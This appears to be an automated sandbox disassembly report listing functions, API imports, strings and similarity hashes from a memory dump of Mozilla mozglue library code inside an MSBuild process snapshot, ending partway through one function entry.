Instruction ID: 3c784a78d9a0dfaf8f137b057768505a26be54061acab2e07812bfe55ba762ef
Opcode Fuzzy Hash: d39419d13919f955d63b7669fe631db9e8d1d599a8460a1d303c927aa5966c81
Instruction Fuzzy Hash: D1018F706042049FAB08DF59DC88D2177B8FB8931570581AAE80D8B752EB70A908CBA1

Function 6C4BF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C4BEE51,?), ref: 6C4BF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C4BF0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C4BF0DC
Could not find CoTaskMemFree, xrefs: 6C4BF0E3
ole32, xrefs: 6C4BF0AD

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: e73b60374c586e43c1b8f0ccbfcae919e76440a680775135e1e5d3414c8f7267
Instruction ID: 50c3a31793eb4c3477078a54689a2c56e0081da9fed9a0d3e136dc1f7d5a275b
Opcode Fuzzy Hash: e73b60374c586e43c1b8f0ccbfcae919e76440a680775135e1e5d3414c8f7267
Instruction Fuzzy Hash: 20E0D87D7496129BBF14AA775C08E2737B85B5220A3109529F40EE1F50FE30D4108639

Function 6C4F00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4C7235), ref: 6C4F00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C4F00F7
FreeLibrary.KERNEL32(?,6C4C7235), ref: 6C4F010E

Strings

wintrust.dll, xrefs: 6C4F00D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C4F00F1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 0cbe20cb68c0dc2008f60ed1e7066529aa6cf593a20cbd1fd5b569c1abc21780
Instruction ID: bdb37fc45189ad515832b1673a1ac8719e01af26c7fae1fe589c417290da1578
Opcode Fuzzy Hash: 0cbe20cb68c0dc2008f60ed1e7066529aa6cf593a20cbd1fd5b569c1abc21780
Instruction Fuzzy Hash: AFE01A702053159BEF24AF698E09F22BAF8A782205F124555ED1E81740F77180409A18

Function 6C4F0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4C7204), ref: 6C4F0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C4F00A7
FreeLibrary.KERNEL32(?,6C4C7204), ref: 6C4F00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C4F00A1
wintrust.dll, xrefs: 6C4F0083

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 0d22e218c09a285c86fdde7b620ace2781e30fde625b0eebff9e23f54635cf49
Instruction ID: 40c0f38c95bc7cbdc0e33315c5950a0f218e7851131bc07d96746dd8c29b6a8f
Opcode Fuzzy Hash: 0d22e218c09a285c86fdde7b620ace2781e30fde625b0eebff9e23f54635cf49
Instruction Fuzzy Hash: 52E01AB02007049BDF25AF79AC08F01BAF8A78B345F024255ED2CD2750F774C0049B19

Function 6C4F0170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4C7308), ref: 6C4F0178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C4F0197
FreeLibrary.KERNEL32(?,6C4C7308), ref: 6C4F01AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6C4F0191
wintrust.dll, xrefs: 6C4F0173

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 434a57b4bb50f1da0642374e59cc610912fccfb1b6585397e25e95d831f9b6e4
Instruction ID: 243e5f57d58fe28654ff9c00abb235df3871ab56d582219746b0052aa65337fc
Opcode Fuzzy Hash: 434a57b4bb50f1da0642374e59cc610912fccfb1b6585397e25e95d831f9b6e4
Instruction Fuzzy Hash: 5FE01A706812009BEF24AF69CE08F01FBF8B782249F120696ED9E82780F77580809A19

Function 6C4F0120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4C7297), ref: 6C4F0128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C4F0147
FreeLibrary.KERNEL32(?,6C4C7297), ref: 6C4F015E

Strings

wintrust.dll, xrefs: 6C4F0123
CryptCATAdminEnumCatalogFromHash, xrefs: 6C4F0141

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 3d898db0c16e4b06f454b68a8201b801c70d88f22a45d313b6c9830eafb1613d
Instruction ID: 01ff97df79f62382e71f43247b909e316f6335f302bbdfb16bfd0c1773e95db7
Opcode Fuzzy Hash: 3d898db0c16e4b06f454b68a8201b801c70d88f22a45d313b6c9830eafb1613d
Instruction Fuzzy Hash: 65E01A712083449BEF24AF6DCD08B12BBF8A783305F024655AD1DC2750F771C401DB28

Function 6C4F01C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4C7266), ref: 6C4F01C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C4F01E7
FreeLibrary.KERNEL32(?,6C4C7266), ref: 6C4F01FE

Strings

CryptCATAdminReleaseContext, xrefs: 6C4F01E1
wintrust.dll, xrefs: 6C4F01C3

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 31c27b699656d7f32d1e6954d6efaca9398464f451b5141399e62c68673776cb
Instruction ID: 99c5a50315198907c20c60ccf71781c9d0b6a70d171d7b5ecdf46d6bcb99206b
Opcode Fuzzy Hash: 31c27b699656d7f32d1e6954d6efaca9398464f451b5141399e62c68673776cb
Instruction Fuzzy Hash: BCE01A702803819BEF24AF698D08F02BAF8AB83346F024655ED1DC2790FB718000AF18

Function 6C51C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C51C0E9), ref: 6C51C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C51C437
FreeLibrary.KERNEL32(?,6C51C0E9), ref: 6C51C44C

Strings

NtQueryVirtualMemory, xrefs: 6C51C431
ntdll.dll, xrefs: 6C51C413

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6267067c798c8883355e1240ca297af0ee263ba9de76623c1dc6cbb1c47cded8
Instruction ID: ada4d71a14f0194d203115b49eb2034333ffb4c2d0f1c47362a576757a104ab6
Opcode Fuzzy Hash: 6267067c798c8883355e1240ca297af0ee263ba9de76623c1dc6cbb1c47cded8
Instruction Fuzzy Hash: 7DE092706097119BEB247B7A8D08B11BBF8A706205F024366AE0DE1B90FBB5D0089A58

Function 6C5175B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C51748B,?), ref: 6C5175B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5175D7
FreeLibrary.KERNEL32(?,6C51748B,?), ref: 6C5175EC

Strings

RtlNtStatusToDosError, xrefs: 6C5175D1
ntdll.dll, xrefs: 6C5175B3

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: b39688ed8b8e67e05e0017dd1f5a7e301bd6aed5452a4f182a79541fa31d85c1
Instruction ID: 39fb68236a5996568ccecdc4c4f29ad707436bd9a7a8afaecaac85319fbfc477
Opcode Fuzzy Hash: b39688ed8b8e67e05e0017dd1f5a7e301bd6aed5452a4f182a79541fa31d85c1
Instruction Fuzzy Hash: 4AE09271704711ABEB206FEACD4C7017AF8EB46258F125266A90DD1B81FBB980419F98

Function 6C517600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C517592), ref: 6C517608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C517627
FreeLibrary.KERNEL32(?,6C517592), ref: 6C51763C

Strings

ntdll.dll, xrefs: 6C517603
NtUnmapViewOfSection, xrefs: 6C517621

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 79ef6aa045040b856fcd409d2575eefb19f18e0a20fddff723b2c43add298625
Instruction ID: 5b754547c266a44e9d09c2fceca9f02f4dc10fdcfb7c0f2b217a361832b280a8
Opcode Fuzzy Hash: 79ef6aa045040b856fcd409d2575eefb19f18e0a20fddff723b2c43add298625
Instruction Fuzzy Hash: 16E092B0604711ABEF206BAACC0C7057AB8E75A299F025256E90ED1B90F7B684049B5C

Function 6C51C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C51C1DE,?,00000000,?,00000000,?,6C4C779F), ref: 6C51C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C51C217
FreeLibrary.KERNEL32(?,6C51C1DE,?,00000000,?,00000000,?,6C4C779F), ref: 6C51C22C

Strings

wintrust.dll, xrefs: 6C51C1F3
WinVerifyTrust, xrefs: 6C51C211

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: db55e4cc37b78ffcd6641cb0b18fc5c39f5479b98b7fa4657a60f6334fc64edc
Instruction ID: 2be0b33b70e7e90a0a0e8365c18ac105db53dee6b522ec498bf12fe25bcbb3ea
Opcode Fuzzy Hash: db55e4cc37b78ffcd6641cb0b18fc5c39f5479b98b7fa4657a60f6334fc64edc
Instruction Fuzzy Hash: 48E0B6742057519BEF247FA6CD08B02BFF8AB06205F020765BD0CC2B91F7B590009B58

Function 6C51BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C51BE49), ref: 6C51BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C51BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C51BE49), ref: 6C51BF38
RtlReAllocateHeap.NTDLL ref: 6C51BF83
RtlFreeHeap.NTDLL(6C51BE49,00000000), ref: 6C51BFA6

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 795c8e25369c66e8f236ab345db6e9dd292e26570cbb03da5eb0c8420360ec96
Instruction ID: 3c2e99868fd8f94325c757ab1ab5a8422721569471ac56d82fd38f5d6d10f8e5
Opcode Fuzzy Hash: 795c8e25369c66e8f236ab345db6e9dd292e26570cbb03da5eb0c8420360ec96
Instruction Fuzzy Hash: 88518DB1A042058FE714DF68CD84BAAB3A2FFC8314F294A39D555A7F94D734F9068B80

Function 6C508E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?,6C52D734), ref: 6C508E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?,6C52D734), ref: 6C508EBF
free.MOZGLUE(?,?,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?), ref: 6C508F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?,6C52D734), ref: 6C508F46
free.MOZGLUE(?,?,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?), ref: 6C508F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4FB58D,?,?,?,?,?,?,?,6C52D734,?,?,?), ref: 6C508F8F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 21a863f538c9b860dadf7c3c63107c72131d6a966ce642b1e1e60b2d08c76e18
Instruction ID: dc520fb315b6e9248cbbe2a1db841a09010ce4d809abcf78c850a8b250129f82
Opcode Fuzzy Hash: 21a863f538c9b860dadf7c3c63107c72131d6a966ce642b1e1e60b2d08c76e18
Instruction Fuzzy Hash: 5E518EB5B012168FEB14DF68DC80B6E73B2EB45318F25056AD916EB740E731F904CB92

Function 6C4C60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C6180
free.MOZGLUE(?,?,?,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4C6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C6229
free.MOZGLUE(?,?,?,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4C625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4C5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4C6271

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ecd4a9154b949e4e6be6046951afcfda1f7a4da097446d63be193773179e6ef3
Instruction ID: 81c3ebbdfbe9b4fdfab8dca3344012a78a921642585a9fc63b280746d230202f
Opcode Fuzzy Hash: ecd4a9154b949e4e6be6046951afcfda1f7a4da097446d63be193773179e6ef3
Instruction Fuzzy Hash: 5151ACB9B002068FEB10DF68D880FAEB7B5EF05349F118539C516D7721EB31A914CB52

Function 6C5027E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C50284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C50289A
free.MOZGLUE(?,?,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C5028F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C502910
free.MOZGLUE(00000001,?,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C50293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C502620,?,?,?,6C4F60AA,6C4F5FCB,6C4F79A3), ref: 6C50294E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3ec82bfa086f8c66d81ab0f1b567295d28e959939a1042fb63c054cb7fcde56a
Instruction ID: a822f08207caeb91f3020a0142cf289d8a9e2691d5d17f732315e323c541b79a
Opcode Fuzzy Hash: 3ec82bfa086f8c66d81ab0f1b567295d28e959939a1042fb63c054cb7fcde56a
Instruction Fuzzy Hash: BF41BEB5B006068FEB10CF68DC8876A73F6BF45308F254929D956EB740E731E944CB91

Function 6C4BCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4BCFF6
LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4BD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4BD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4BD139

Strings

MOZ_CRASH(), xrefs: 6C4BD187

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: ba988807b1fcdd054d4f7d18479b52573690c9cd4aa1e6d25722e088d86b0936
Instruction ID: 4974a22ffc39044d0c58496bce63871cbd10fbe9b5de30e0a4522246169be608
Opcode Fuzzy Hash: ba988807b1fcdd054d4f7d18479b52573690c9cd4aa1e6d25722e088d86b0936
Instruction Fuzzy Hash: CC419071B016164FDB24CE6C8C99B6A76F4EB49714F160239E91CE7788E7B19C018BE8

Function 6C4B4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4B4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4B4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4B4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4B4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4B4F1E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 2b659041b6abad4be417916bf7aa4dccd3af47041d412efabf5a239ddf3453f8
Instruction ID: 7515a3624bf5984e6aa35f483bb1e26b1a4191569c9faa7bad86330ce0ff189e
Opcode Fuzzy Hash: 2b659041b6abad4be417916bf7aa4dccd3af47041d412efabf5a239ddf3453f8
Instruction Fuzzy Hash: 21419B716087019FC705CF69C880E5BB7E4BF89394F109A2DF465A7741DB30E959CBA1

Function 6C4CC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4CC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4CC1DC

